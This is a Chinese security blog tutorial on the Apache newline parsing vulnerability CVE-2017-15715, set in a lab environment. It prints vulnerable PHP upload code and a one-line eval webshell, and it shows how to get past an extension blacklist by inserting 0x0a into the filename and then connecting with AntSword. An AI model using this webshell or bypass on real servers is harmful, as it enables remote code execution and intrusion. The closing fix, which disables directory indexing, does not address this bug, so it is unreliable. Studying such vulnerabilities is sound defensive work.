Apache 中间件漏洞(换行解析)详解

介绍

Apache(音译为阿帕奇)是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的Web服务器端软件之一。它快速、可靠并且可通过简单的API扩充,将Perl/Python等解释器编译到服务器中。
简而言之,Apache服务器不仅简单好用,还能支持HTML、PHP、Perl、Python等基础语言。

目录介绍

bin-------存放常用的命令工具,例如httpd
cgi-bin---存放Linux下常用的命令,例如xxx.sh
conf------Linux的配置相关文件,例如httpd.conf
error-----错误记录
htdocs----放网站源码
icons-----网站图标
logs------日志
manual----手册
modules---扩展模块

Apache换行解析漏洞(CVE-2017-15715)

影响版本:Apache 2.4.0~2.4.29

影响说明:绕过服务器策略,上传webshell

环境说明:PHP5.5.38 、 Apache2.4.10

环境搭建

东塔靶场

在这里插入图片描述

漏洞原理

Apache文件解析漏洞与用户的配置有密切关系,严格来说属于用户的配置问题。Apache文件解析漏洞涉及到一个解析文件的特性。Apache默认一个文件可以有多个以点分隔的后缀,当右边的后缀无法识别,则继续向左识别,发现后缀是php,交给php处理这个文件。
为什么叫换行解析漏洞?是因为在上传时在文件名后缀后面加了0x0a(换行)
不过为什么要加0x0a呢?看下源码

<?php
if(isset($_FILES['file'])) {
    $name = basename($_POST['name']);
    $ext = pathinfo($name,PATHINFO_EXTENSION);
    if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {
        exit('bad file');
    }
    move_uploaded_file($_FILES['file']['tmp_name'], './' . $name);
} else {

?>
<form method="POST" enctype="multipart/form-data">
	<p>
		<label>file:<input type="file" name="file"></label>
	</p>
	<p>
		<label>filename:<input type="text" name="name" value="shell.php"></label>
	</p>
	<input type="submit">
</form>

后台通过黑名单方式过滤了php等后缀的文件。php文件在<FilesMatch .php$>有定义,以.php结尾的文件都算php文件,在正则中表示匹配输入字符串的结尾位置。如果设置了RegExp对象的Multiline属性,则也匹配 ‘\n’ 或 ‘\r’。
恰好,我们在文件末尾加了0x0a(\n),所以被匹配成功了。

漏洞复现

上传一个webshell一句话木马文件,shell.php

<?php @eval($_POST[cmd]);?>

此处文件名处加空格
在这里插入图片描述
Hex改空格(20)处为0a
在这里插入图片描述POST中密码即可成功传值
在这里插入图片描述通过蚁剑连接
在这里插入图片描述

修复建议

在httpd.conf文件中找到

Options + Indexes + FollowSymLinks + ExecCGI

修改成

Options -Indexes + FollowSymLinks + ExecCGI

保存(把+修改为-)

  • 7
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 10
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 10
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值